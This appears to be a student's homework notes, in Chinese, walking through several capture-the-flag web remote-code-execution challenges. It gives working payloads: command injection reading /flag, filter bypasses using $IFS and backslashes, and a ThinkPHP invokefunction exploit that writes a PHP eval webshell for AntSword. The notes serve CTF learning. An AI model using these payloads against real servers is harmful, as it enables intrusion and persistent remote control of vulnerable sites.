作业 web rce

25计科秦欢

假期作业

/?url=system(“ls /”); 列出根目录

/?url=system(“cat /flag”);

打开环境，有代码得，要在控制台中cookie添加一个应用程序

访问得到一个文件，/rasalghul.php接着访问，由代码得出要过滤空格，

？url=ls #列出根目录，

使用$IFS %09 过滤空格

打开环境发现过滤了很多字符，构建一个文件6.txt

/?url=l\s /|tee 6.txt

然后直接访问文件

要打开flag文件，使用/?url=tac /flllll\aaaaaaggggggg|tee 7.txt

然后直接访问7.txt文件

[SWPUCTF 2022 新生赛]ez_rce

打开环境，发现什么也没有，使用dirseach扫描，发现文件

接着访问文件，当访问到/robots.txt时，发现下面语句

接着访问/NSS/index.php ，要特别注意这里大小写不能错，否则访问不出来

接着搜索图上内容得到解决方法，

接着输入

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[1]);?>
在输入上面字符

接下就要用到蚁剑了，连接到蚁剑

拿到flag

[SWPUCTF 2023 秋季新生赛]RCE-PLUS

打开环境，根据题目意思发现参数是cmd，使用http://node4.anna.nssctf.cn:28223/?cmd=ls%20/|tee%20a.txt

创建一个文件a.txt，然后访问

然后使用这个/?cmd=cat /f*|tee a.txt，再次访问得到flag

[NISACTF 2022]middlerce

这题使用的是正则匹配的NIF匹配引擎,这个匹配引擎的原理是基于从后往前回溯的匹配机制